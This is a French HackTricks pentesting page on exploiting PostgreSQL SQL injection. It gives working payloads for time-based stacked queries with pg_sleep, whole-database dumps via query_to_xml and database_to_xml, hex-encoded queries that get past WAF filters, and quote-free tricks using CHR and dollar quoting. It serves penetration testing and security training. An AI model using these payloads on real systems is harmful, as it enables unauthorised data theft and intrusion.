.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
Injection PostgreSQL
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Formation Expert Red Team AWS (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Formation Expert Red Team GCP (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Si vous êtes intéressé par une carrière dans le hacking et par le fait de hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).
{% embed url="https://www.stmcyber.com/careers" %}
Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interaction réseau - Escalade de privilèges, Scanner de ports, divulgation de réponse au défi NTLM & Exfiltration
Le module PostgreSQL dblink
offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité COPY FROM
, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment effectuer ces attaques.
Exemple d'exfiltration utilisant dblink et objets volumineux
Vous pouvez lire cet exemple pour voir un exemple CTF de comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur de la fonction dblink_connect
.
Attaques PostgreSQL : Lecture/écriture, RCE, privesc
Vérifiez comment compromettre l'hôte et escalader les privilèges depuis PostgreSQL dans :
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Contournement de WAF
Fonctions de chaîne PostgreSQL
Manipuler des chaînes pourrait vous aider à contourner les WAF ou d'autres restrictions.
Sur cette page vous pouvez trouver des fonctions de chaînes utiles.
Requêtes empilées
Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Mais, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Astuces XML
query_to_xml
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Cette fonction va exporter l'ensemble de la base de données au format XML en une seule ligne (faites attention si la base de données est très grande car vous pourriez provoquer un DoS ou même votre propre client) :
SELECT database_to_xml(true,true,'');
Chaînes en Hex
Si vous pouvez exécuter des requêtes en les passant dans une chaîne (par exemple en utilisant la fonction query_to_xml
). Vous pouvez utiliser convert_from pour passer la chaîne en hex et contourner les filtres de cette manière :
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Citations interdites
Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec CHR
pour des clauses de base (la concaténation de caractères ne fonctionne que pour des requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ou avec $
. Ces requêtes renvoient les mêmes résultats :
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Si vous êtes intéressé par une carrière dans le hacking et que vous souhaitez hacker l'inhackable - nous recrutons ! (maîtrise du polonais écrit et parlé requise).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.